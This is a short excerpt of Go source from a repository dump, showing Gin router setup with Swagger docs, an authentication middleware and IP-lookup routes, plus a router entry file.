20 | router.GET("/swagger/*any", ginSwagger.WrapHandler(swaggerFiles.Handler))
21 | }
22 |
23 | // 启用身份验证中间件
24 | router.Use(middleware.Auth())
25 |
26 | // 无需身份验证的路由
27 | router.GET("/ip", controller.IpNoArgs)
28 | router.GET("/ip/:ip", controller.Ip)
29 | }
30 |
--------------------------------------------------------------------------------
/router/main.go:
--------------------------------------------------------------------------------
1 | package router
2 |
3 | import (
4 | "github.com/gin-gonic/gin"
5 | )
6 |
7 | func SetRouter(router *gin.Engine) {
8 | SetApiRouter(router)
9 | }
10 |
--------------------------------------------------------------------------------